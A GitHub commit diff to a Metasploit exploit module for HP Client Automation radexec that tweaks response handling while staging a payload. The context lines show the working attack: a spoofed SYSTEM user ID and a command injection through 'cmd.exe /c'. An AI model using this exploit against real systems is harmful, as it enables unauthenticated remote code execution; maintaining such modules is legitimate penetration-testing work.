Skip to content

Commit 1633a6d

Browse files
committed
Read response back while staging
1 parent b0c6671 commit 1633a6d

File tree

1 file changed

+7
-3
lines changed

1 file changed

+7
-3
lines changed

modules/exploits/multi/misc/persistent_hpca_radexec_exec.rb

Lines changed: 7 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -83,10 +83,10 @@ def check
8383
sock.put("#{rand_text_alphanumeric(4 + rand(3))}\x00") # user ID
8484
sock.put("#{rand_text_alpha(4 + rand(3))}\x00") # password
8585
sock.put("hide\x00") # command
86-
data = sock.get_once
86+
res = sock.get_once
8787
disconnect
8888

89-
if data && data.unpack('C')[0] == 0
89+
if res && res.unpack('C')[0] == 0
9090
return Exploit::CheckCode::Detected
9191
end
9292

@@ -97,7 +97,7 @@ def exploit
9797
case target['Platform']
9898
when 'win'
9999
print_status('Exploiting Windows target...')
100-
execute_cmdstager({:flavor => :vbs, :linemax => 290, :delay => 0.75})
100+
execute_cmdstager({:flavor => :vbs, :linemax => 290})
101101
when 'unix'
102102
print_status('Exploiting Linux target...')
103103
exploit_unix
@@ -121,6 +121,10 @@ def execute_command(cmd, opts = {})
121121
sock.put("S-1-5-18\x00") # user ID
122122
sock.put("#{rand_text_alpha(4 + rand(3))}\x00") # password
123123
sock.put("hide hide\"\x09\"cmd.exe /c #{cmd}&\"\x00") # command, here commands can be injected
124+
res = sock.get_once
124125
disconnect
126+
unless res && res.unpack('C')[0] == 0
127+
fail_with(Failure::Unknown, "Something failed executing the stager...")
128+
end
125129
end
126130
end

0 commit comments

Comments
 (0)